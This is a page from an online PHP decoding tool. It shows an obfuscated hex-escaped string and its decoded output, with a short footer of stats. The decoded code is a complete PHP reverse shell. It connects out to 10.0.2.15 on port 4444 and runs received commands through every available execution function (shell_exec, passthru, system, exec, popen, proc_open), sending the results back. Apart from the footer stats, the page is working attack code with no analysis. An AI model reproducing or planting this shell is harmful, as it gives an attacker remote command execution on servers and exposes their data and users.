Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
"\x20\x20\x20\x20\x2f\x2a\x3c\x3f\x70\x68\x70\x20\x2f\x2a" + "\x2a\x2f\x0a\x20\x20\x20\x2..
Decoded Output download
<? " /*<?php /*" +
"*/
@erro" +
"r_reporting(0)" +
";
@set_t" +
"ime_limit(0); " +
"@ignore_user_a" +
"bort(1); @ini_" +
"set('max_execu" +
"tion_time',0);" +
"
$dis=@i" +
"ni_get('disabl" +
"e_functions');" +
"
if(!emp" +
"ty($dis)){
" +
" $dis=preg" +
"_replace('/[, " +
"]+/', ',', $di" +
"s);
$d" +
"is=explode(','" +
", $dis);
" +
" $dis=array_" +
"map('trim', $d" +
"is);
}el" +
"se{
$d" +
"is=array();
" +
" }
" +
" $ipaddr='10" +
".0.2.15';
" +
"$port=4444;
" +
" if(!functio" +
"n_exists('DHzk" +
"Izl')){
" +
"function DHzkI" +
"zl($c){
" +
" global $dis;" +
"
" +
" if (FALSE !=" +
"= strpos(strto" +
"lower(PHP_OS)," +
" 'win' )) {
" +
" $c=$c." " +
"2>&1
";
" +
" }
$odQA" +
"Oyl='is_callab" +
"le';
$XA" +
"QBVYt='in_arra" +
"y';
" +
" if($odQAOyl" +
"('shell_exec')" +
"and!$XAQBVYt('" +
"shell_exec',$d" +
"is)){
" +
"$o=shell_exec(" +
"$c);
}el" +
"se
if($o" +
"dQAOyl('passth" +
"ru')and!$XAQBV" +
"Yt('passthru'," +
"$dis)){
" +
" ob_start();
" +
" passth" +
"ru($c);
" +
" $o=ob_get_co" +
"ntents();
" +
" ob_end_cle" +
"an();
}e" +
"lse
if($" +
"odQAOyl('syste" +
"m')and!$XAQBVY" +
"t('system',$di" +
"s)){
o" +
"b_start();
" +
" system($c" +
");
$o=" +
"ob_get_content" +
"s();
o" +
"b_end_clean();" +
"
}else
" +
" if($odQAO" +
"yl('exec')and!" +
"$XAQBVYt('exec" +
"',$dis)){
" +
" $o=array()" +
";
exec" +
"($c,$o);
" +
" $o=join(chr" +
"(10),$o).chr(1" +
"0);
}els" +
"e
if($od" +
"QAOyl('popen')" +
"and!$XAQBVYt('" +
"popen',$dis)){" +
"
$fp=p" +
"open($c,'r');
" +
" $o=NUL" +
"L;
if(" +
"is_resource($f" +
"p)){
" +
" while(!feof($" +
"fp)){
" +
" $o.=fread(" +
"$fp,1024);
" +
" }
" +
" }
@" +
"pclose($fp);
" +
" }else
" +
" if($odQAOyl" +
"('proc_open')a" +
"nd!$XAQBVYt('p" +
"roc_open',$dis" +
")){
$h" +
"andle=proc_ope" +
"n($c,array(arr" +
"ay('pipe','r')" +
",array('pipe'," +
"'w'),array('pi" +
"pe','w')),$pip" +
"es);
$" +
"o=NULL;
" +
" while(!feof(" +
"$pipes[1])){
" +
" $o.=f" +
"read($pipes[1]" +
",1024);
" +
" }
@p" +
"roc_close($han" +
"dle);
}e" +
"lse
{
" +
" $o=0;
" +
" }
" +
" return $o" +
";
}
" +
"}
$nofuncs" +
"='no exec func" +
"tions';
if" +
"(is_callable('" +
"fsockopen')and" +
"!in_array('fso" +
"ckopen',$dis))" +
"{
$s=@fs" +
"ockopen("tcp:/" +
"/10.0.2.15",$p" +
"ort);
wh" +
"ile($c=fread($" +
"s,2048)){
" +
" $out = '';" +
"
if(su" +
"bstr($c,0,3) =" +
"= 'cd '){
" +
" chdir(su" +
"bstr($c,3,-1))" +
";
} el" +
"se if (substr(" +
"$c,0,4) == 'qu" +
"it' || substr(" +
"$c,0,4) == 'ex" +
"it') {
" +
" break;
" +
" }else{
" +
" $out=DH" +
"zkIzl(substr($" +
"c,0,-1));
" +
" if($out=" +
"==false){
" +
" fwrite" +
"($s,$nofuncs);" +
"
b" +
"reak;
" +
" }
}
" +
" fwrite" +
"($s,$out);
" +
" }
fcl" +
"ose($s);
}" +
"else{
$s" +
"=@socket_creat" +
"e(AF_INET,SOCK" +
"_STREAM,SOL_TC" +
"P);
@soc" +
"ket_connect($s" +
",$ipaddr,$port" +
");
@sock" +
"et_write($s,"s" +
"ocket_create")" +
";
while(" +
"$c=@socket_rea" +
"d($s,2048)){
" +
" $out = " +
"'';
if" +
"(substr($c,0,3" +
") == 'cd '){
" +
" chdir" +
"(substr($c,3,-" +
"1));
}" +
" else if (subs" +
"tr($c,0,4) == " +
"'quit' || subs" +
"tr($c,0,4) == " +
"'exit') {
" +
" break;
" +
" }else{
" +
" $out" +
"=DHzkIzl(subst" +
"r($c,0,-1));
" +
" if($o" +
"ut===false){
" +
" @so" +
"cket_write($s," +
"$nofuncs);
" +
" break" +
";
}
" +
" }
" +
" @socket_wr" +
"ite($s,$out,st" +
"rlen($out));
" +
" }
@" +
"socket_close($" +
"s);
}
" ?>
Did this file decode correctly?
Original Code
"\x20\x20\x20\x20\x2f\x2a\x3c\x3f\x70\x68\x70\x20\x2f\x2a" +
"\x2a\x2f\x0a\x20\x20\x20\x20\x20\x20\x40\x65\x72\x72\x6f" +
"\x72\x5f\x72\x65\x70\x6f\x72\x74\x69\x6e\x67\x28\x30\x29" +
"\x3b\x0a\x20\x20\x20\x20\x20\x20\x40\x73\x65\x74\x5f\x74" +
"\x69\x6d\x65\x5f\x6c\x69\x6d\x69\x74\x28\x30\x29\x3b\x20" +
"\x40\x69\x67\x6e\x6f\x72\x65\x5f\x75\x73\x65\x72\x5f\x61" +
"\x62\x6f\x72\x74\x28\x31\x29\x3b\x20\x40\x69\x6e\x69\x5f" +
"\x73\x65\x74\x28\x27\x6d\x61\x78\x5f\x65\x78\x65\x63\x75" +
"\x74\x69\x6f\x6e\x5f\x74\x69\x6d\x65\x27\x2c\x30\x29\x3b" +
"\x0a\x20\x20\x20\x20\x20\x20\x24\x64\x69\x73\x3d\x40\x69" +
"\x6e\x69\x5f\x67\x65\x74\x28\x27\x64\x69\x73\x61\x62\x6c" +
"\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73\x27\x29\x3b" +
"\x0a\x20\x20\x20\x20\x20\x20\x69\x66\x28\x21\x65\x6d\x70" +
"\x74\x79\x28\x24\x64\x69\x73\x29\x29\x7b\x0a\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x24\x64\x69\x73\x3d\x70\x72\x65\x67" +
"\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x2f\x5b\x2c\x20" +
"\x5d\x2b\x2f\x27\x2c\x20\x27\x2c\x27\x2c\x20\x24\x64\x69" +
"\x73\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x24\x64" +
"\x69\x73\x3d\x65\x78\x70\x6c\x6f\x64\x65\x28\x27\x2c\x27" +
"\x2c\x20\x24\x64\x69\x73\x29\x3b\x0a\x20\x20\x20\x20\x20" +
"\x20\x20\x20\x24\x64\x69\x73\x3d\x61\x72\x72\x61\x79\x5f" +
"\x6d\x61\x70\x28\x27\x74\x72\x69\x6d\x27\x2c\x20\x24\x64" +
"\x69\x73\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x7d\x65\x6c" +
"\x73\x65\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x24\x64" +
"\x69\x73\x3d\x61\x72\x72\x61\x79\x28\x29\x3b\x0a\x20\x20" +
"\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x0a\x20" +
"\x20\x20\x20\x24\x69\x70\x61\x64\x64\x72\x3d\x27\x31\x30" +
"\x2e\x30\x2e\x32\x2e\x31\x35\x27\x3b\x0a\x20\x20\x20\x20" +
"\x24\x70\x6f\x72\x74\x3d\x34\x34\x34\x34\x3b\x0a\x0a\x20" +
"\x20\x20\x20\x69\x66\x28\x21\x66\x75\x6e\x63\x74\x69\x6f" +
"\x6e\x5f\x65\x78\x69\x73\x74\x73\x28\x27\x44\x48\x7a\x6b" +
"\x49\x7a\x6c\x27\x29\x29\x7b\x0a\x20\x20\x20\x20\x20\x20" +
"\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x44\x48\x7a\x6b\x49" +
"\x7a\x6c\x28\x24\x63\x29\x7b\x0a\x20\x20\x20\x20\x20\x20" +
"\x20\x20\x67\x6c\x6f\x62\x61\x6c\x20\x24\x64\x69\x73\x3b" +
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20" +
"\x20\x20\x69\x66\x20\x28\x46\x41\x4c\x53\x45\x20\x21\x3d" +
"\x3d\x20\x73\x74\x72\x70\x6f\x73\x28\x73\x74\x72\x74\x6f" +
"\x6c\x6f\x77\x65\x72\x28\x50\x48\x50\x5f\x4f\x53\x29\x2c" +
"\x20\x27\x77\x69\x6e\x27\x20\x29\x29\x20\x7b\x0a\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x24\x63\x3d\x24\x63\x2e\x22\x20" +
"\x32\x3e\x26\x31\x5c\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20" +
"\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x24\x6f\x64\x51\x41" +
"\x4f\x79\x6c\x3d\x27\x69\x73\x5f\x63\x61\x6c\x6c\x61\x62" +
"\x6c\x65\x27\x3b\x0a\x20\x20\x20\x20\x20\x20\x24\x58\x41" +
"\x51\x42\x56\x59\x74\x3d\x27\x69\x6e\x5f\x61\x72\x72\x61" +
"\x79\x27\x3b\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20" +
"\x20\x20\x20\x69\x66\x28\x24\x6f\x64\x51\x41\x4f\x79\x6c" +
"\x28\x27\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63\x27\x29" +
"\x61\x6e\x64\x21\x24\x58\x41\x51\x42\x56\x59\x74\x28\x27" +
"\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63\x27\x2c\x24\x64" +
"\x69\x73\x29\x29\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20" +
"\x24\x6f\x3d\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63\x28" +
"\x24\x63\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x7d\x65\x6c" +
"\x73\x65\x0a\x20\x20\x20\x20\x20\x20\x69\x66\x28\x24\x6f" +
"\x64\x51\x41\x4f\x79\x6c\x28\x27\x70\x61\x73\x73\x74\x68" +
"\x72\x75\x27\x29\x61\x6e\x64\x21\x24\x58\x41\x51\x42\x56" +
"\x59\x74\x28\x27\x70\x61\x73\x73\x74\x68\x72\x75\x27\x2c" +
"\x24\x64\x69\x73\x29\x29\x7b\x0a\x20\x20\x20\x20\x20\x20" +
"\x20\x20\x6f\x62\x5f\x73\x74\x61\x72\x74\x28\x29\x3b\x0a" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x73\x73\x74\x68" +
"\x72\x75\x28\x24\x63\x29\x3b\x0a\x20\x20\x20\x20\x20\x20" +
"\x20\x20\x24\x6f\x3d\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6f" +
"\x6e\x74\x65\x6e\x74\x73\x28\x29\x3b\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x6f\x62\x5f\x65\x6e\x64\x5f\x63\x6c\x65" +
"\x61\x6e\x28\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x7d\x65" +
"\x6c\x73\x65\x0a\x20\x20\x20\x20\x20\x20\x69\x66\x28\x24" +
"\x6f\x64\x51\x41\x4f\x79\x6c\x28\x27\x73\x79\x73\x74\x65" +
"\x6d\x27\x29\x61\x6e\x64\x21\x24\x58\x41\x51\x42\x56\x59" +
"\x74\x28\x27\x73\x79\x73\x74\x65\x6d\x27\x2c\x24\x64\x69" +
"\x73\x29\x29\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x6f" +
"\x62\x5f\x73\x74\x61\x72\x74\x28\x29\x3b\x0a\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x73\x79\x73\x74\x65\x6d\x28\x24\x63" +
"\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6f\x3d" +
"\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74" +
"\x73\x28\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x6f" +
"\x62\x5f\x65\x6e\x64\x5f\x63\x6c\x65\x61\x6e\x28\x29\x3b" +
"\x0a\x20\x20\x20\x20\x20\x20\x7d\x65\x6c\x73\x65\x0a\x20" +
"\x20\x20\x20\x20\x20\x69\x66\x28\x24\x6f\x64\x51\x41\x4f" +
"\x79\x6c\x28\x27\x65\x78\x65\x63\x27\x29\x61\x6e\x64\x21" +
"\x24\x58\x41\x51\x42\x56\x59\x74\x28\x27\x65\x78\x65\x63" +
"\x27\x2c\x24\x64\x69\x73\x29\x29\x7b\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x24\x6f\x3d\x61\x72\x72\x61\x79\x28\x29" +
"\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x65\x78\x65\x63" +
"\x28\x24\x63\x2c\x24\x6f\x29\x3b\x0a\x20\x20\x20\x20\x20" +
"\x20\x20\x20\x24\x6f\x3d\x6a\x6f\x69\x6e\x28\x63\x68\x72" +
"\x28\x31\x30\x29\x2c\x24\x6f\x29\x2e\x63\x68\x72\x28\x31" +
"\x30\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x7d\x65\x6c\x73" +
"\x65\x0a\x20\x20\x20\x20\x20\x20\x69\x66\x28\x24\x6f\x64" +
"\x51\x41\x4f\x79\x6c\x28\x27\x70\x6f\x70\x65\x6e\x27\x29" +
"\x61\x6e\x64\x21\x24\x58\x41\x51\x42\x56\x59\x74\x28\x27" +
"\x70\x6f\x70\x65\x6e\x27\x2c\x24\x64\x69\x73\x29\x29\x7b" +
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x70\x3d\x70" +
"\x6f\x70\x65\x6e\x28\x24\x63\x2c\x27\x72\x27\x29\x3b\x0a" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6f\x3d\x4e\x55\x4c" +
"\x4c\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28" +
"\x69\x73\x5f\x72\x65\x73\x6f\x75\x72\x63\x65\x28\x24\x66" +
"\x70\x29\x29\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20" +
"\x20\x77\x68\x69\x6c\x65\x28\x21\x66\x65\x6f\x66\x28\x24" +
"\x66\x70\x29\x29\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x24\x6f\x2e\x3d\x66\x72\x65\x61\x64\x28" +
"\x24\x66\x70\x2c\x31\x30\x32\x34\x29\x3b\x0a\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x20" +
"\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x40" +
"\x70\x63\x6c\x6f\x73\x65\x28\x24\x66\x70\x29\x3b\x0a\x20" +
"\x20\x20\x20\x20\x20\x7d\x65\x6c\x73\x65\x0a\x20\x20\x20" +
"\x20\x20\x20\x69\x66\x28\x24\x6f\x64\x51\x41\x4f\x79\x6c" +
"\x28\x27\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e\x27\x29\x61" +
"\x6e\x64\x21\x24\x58\x41\x51\x42\x56\x59\x74\x28\x27\x70" +
"\x72\x6f\x63\x5f\x6f\x70\x65\x6e\x27\x2c\x24\x64\x69\x73" +
"\x29\x29\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x24\x68" +
"\x61\x6e\x64\x6c\x65\x3d\x70\x72\x6f\x63\x5f\x6f\x70\x65" +
"\x6e\x28\x24\x63\x2c\x61\x72\x72\x61\x79\x28\x61\x72\x72" +
"\x61\x79\x28\x27\x70\x69\x70\x65\x27\x2c\x27\x72\x27\x29" +
"\x2c\x61\x72\x72\x61\x79\x28\x27\x70\x69\x70\x65\x27\x2c" +
"\x27\x77\x27\x29\x2c\x61\x72\x72\x61\x79\x28\x27\x70\x69" +
"\x70\x65\x27\x2c\x27\x77\x27\x29\x29\x2c\x24\x70\x69\x70" +
"\x65\x73\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x24" +
"\x6f\x3d\x4e\x55\x4c\x4c\x3b\x0a\x20\x20\x20\x20\x20\x20" +
"\x20\x20\x77\x68\x69\x6c\x65\x28\x21\x66\x65\x6f\x66\x28" +
"\x24\x70\x69\x70\x65\x73\x5b\x31\x5d\x29\x29\x7b\x0a\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6f\x2e\x3d\x66" +
"\x72\x65\x61\x64\x28\x24\x70\x69\x70\x65\x73\x5b\x31\x5d" +
"\x2c\x31\x30\x32\x34\x29\x3b\x0a\x20\x20\x20\x20\x20\x20" +
"\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x40\x70" +
"\x72\x6f\x63\x5f\x63\x6c\x6f\x73\x65\x28\x24\x68\x61\x6e" +
"\x64\x6c\x65\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x7d\x65" +
"\x6c\x73\x65\x0a\x20\x20\x20\x20\x20\x20\x7b\x0a\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x24\x6f\x3d\x30\x3b\x0a\x20\x20" +
"\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x0a\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x24\x6f" +
"\x3b\x0a\x20\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20" +
"\x7d\x0a\x20\x20\x20\x20\x24\x6e\x6f\x66\x75\x6e\x63\x73" +
"\x3d\x27\x6e\x6f\x20\x65\x78\x65\x63\x20\x66\x75\x6e\x63" +
"\x74\x69\x6f\x6e\x73\x27\x3b\x0a\x20\x20\x20\x20\x69\x66" +
"\x28\x69\x73\x5f\x63\x61\x6c\x6c\x61\x62\x6c\x65\x28\x27" +
"\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e\x27\x29\x61\x6e\x64" +
"\x21\x69\x6e\x5f\x61\x72\x72\x61\x79\x28\x27\x66\x73\x6f" +
"\x63\x6b\x6f\x70\x65\x6e\x27\x2c\x24\x64\x69\x73\x29\x29" +
"\x7b\x0a\x20\x20\x20\x20\x20\x20\x24\x73\x3d\x40\x66\x73" +
"\x6f\x63\x6b\x6f\x70\x65\x6e\x28\x22\x74\x63\x70\x3a\x2f" +
"\x2f\x31\x30\x2e\x30\x2e\x32\x2e\x31\x35\x22\x2c\x24\x70" +
"\x6f\x72\x74\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x77\x68" +
"\x69\x6c\x65\x28\x24\x63\x3d\x66\x72\x65\x61\x64\x28\x24" +
"\x73\x2c\x32\x30\x34\x38\x29\x29\x7b\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x24\x6f\x75\x74\x20\x3d\x20\x27\x27\x3b" +
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x73\x75" +
"\x62\x73\x74\x72\x28\x24\x63\x2c\x30\x2c\x33\x29\x20\x3d" +
"\x3d\x20\x27\x63\x64\x20\x27\x29\x7b\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x63\x68\x64\x69\x72\x28\x73\x75" +
"\x62\x73\x74\x72\x28\x24\x63\x2c\x33\x2c\x2d\x31\x29\x29" +
"\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x20\x65\x6c" +
"\x73\x65\x20\x69\x66\x20\x28\x73\x75\x62\x73\x74\x72\x28" +
"\x24\x63\x2c\x30\x2c\x34\x29\x20\x3d\x3d\x20\x27\x71\x75" +
"\x69\x74\x27\x20\x7c\x7c\x20\x73\x75\x62\x73\x74\x72\x28" +
"\x24\x63\x2c\x30\x2c\x34\x29\x20\x3d\x3d\x20\x27\x65\x78" +
"\x69\x74\x27\x29\x20\x7b\x0a\x20\x20\x20\x20\x20\x20\x20" +
"\x20\x20\x20\x62\x72\x65\x61\x6b\x3b\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x7d\x65\x6c\x73\x65\x7b\x0a\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x24\x6f\x75\x74\x3d\x44\x48" +
"\x7a\x6b\x49\x7a\x6c\x28\x73\x75\x62\x73\x74\x72\x28\x24" +
"\x63\x2c\x30\x2c\x2d\x31\x29\x29\x3b\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x69\x66\x28\x24\x6f\x75\x74\x3d" +
"\x3d\x3d\x66\x61\x6c\x73\x65\x29\x7b\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x66\x77\x72\x69\x74\x65" +
"\x28\x24\x73\x2c\x24\x6e\x6f\x66\x75\x6e\x63\x73\x29\x3b" +
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62" +
"\x72\x65\x61\x6b\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20" +
"\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x0a" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x66\x77\x72\x69\x74\x65" +
"\x28\x24\x73\x2c\x24\x6f\x75\x74\x29\x3b\x0a\x20\x20\x20" +
"\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x66\x63\x6c" +
"\x6f\x73\x65\x28\x24\x73\x29\x3b\x0a\x20\x20\x20\x20\x7d" +
"\x65\x6c\x73\x65\x7b\x0a\x20\x20\x20\x20\x20\x20\x24\x73" +
"\x3d\x40\x73\x6f\x63\x6b\x65\x74\x5f\x63\x72\x65\x61\x74" +
"\x65\x28\x41\x46\x5f\x49\x4e\x45\x54\x2c\x53\x4f\x43\x4b" +
"\x5f\x53\x54\x52\x45\x41\x4d\x2c\x53\x4f\x4c\x5f\x54\x43" +
"\x50\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x40\x73\x6f\x63" +
"\x6b\x65\x74\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x28\x24\x73" +
"\x2c\x24\x69\x70\x61\x64\x64\x72\x2c\x24\x70\x6f\x72\x74" +
"\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x40\x73\x6f\x63\x6b" +
"\x65\x74\x5f\x77\x72\x69\x74\x65\x28\x24\x73\x2c\x22\x73" +
"\x6f\x63\x6b\x65\x74\x5f\x63\x72\x65\x61\x74\x65\x22\x29" +
"\x3b\x0a\x20\x20\x20\x20\x20\x20\x77\x68\x69\x6c\x65\x28" +
"\x24\x63\x3d\x40\x73\x6f\x63\x6b\x65\x74\x5f\x72\x65\x61" +
"\x64\x28\x24\x73\x2c\x32\x30\x34\x38\x29\x29\x7b\x0a\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x24\x6f\x75\x74\x20\x3d\x20" +
"\x27\x27\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66" +
"\x28\x73\x75\x62\x73\x74\x72\x28\x24\x63\x2c\x30\x2c\x33" +
"\x29\x20\x3d\x3d\x20\x27\x63\x64\x20\x27\x29\x7b\x0a\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x68\x64\x69\x72" +
"\x28\x73\x75\x62\x73\x74\x72\x28\x24\x63\x2c\x33\x2c\x2d" +
"\x31\x29\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x7d" +
"\x20\x65\x6c\x73\x65\x20\x69\x66\x20\x28\x73\x75\x62\x73" +
"\x74\x72\x28\x24\x63\x2c\x30\x2c\x34\x29\x20\x3d\x3d\x20" +
"\x27\x71\x75\x69\x74\x27\x20\x7c\x7c\x20\x73\x75\x62\x73" +
"\x74\x72\x28\x24\x63\x2c\x30\x2c\x34\x29\x20\x3d\x3d\x20" +
"\x27\x65\x78\x69\x74\x27\x29\x20\x7b\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x62\x72\x65\x61\x6b\x3b\x0a\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x7d\x65\x6c\x73\x65\x7b\x0a" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6f\x75\x74" +
"\x3d\x44\x48\x7a\x6b\x49\x7a\x6c\x28\x73\x75\x62\x73\x74" +
"\x72\x28\x24\x63\x2c\x30\x2c\x2d\x31\x29\x29\x3b\x0a\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x24\x6f" +
"\x75\x74\x3d\x3d\x3d\x66\x61\x6c\x73\x65\x29\x7b\x0a\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x40\x73\x6f" +
"\x63\x6b\x65\x74\x5f\x77\x72\x69\x74\x65\x28\x24\x73\x2c" +
"\x24\x6e\x6f\x66\x75\x6e\x63\x73\x29\x3b\x0a\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x72\x65\x61\x6b" +
"\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x0a" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x40\x73\x6f\x63\x6b\x65\x74\x5f\x77\x72" +
"\x69\x74\x65\x28\x24\x73\x2c\x24\x6f\x75\x74\x2c\x73\x74" +
"\x72\x6c\x65\x6e\x28\x24\x6f\x75\x74\x29\x29\x3b\x0a\x20" +
"\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x40" +
"\x73\x6f\x63\x6b\x65\x74\x5f\x63\x6c\x6f\x73\x65\x28\x24" +
"\x73\x29\x3b\x0a\x20\x20\x20\x20\x7d\x0a"
Function Calls
None |
Stats
MD5 | 4fc86353b8c9cc87d36fa30e5dc51f57 |
Eval Count | 0 |
Decode Time | 198 ms |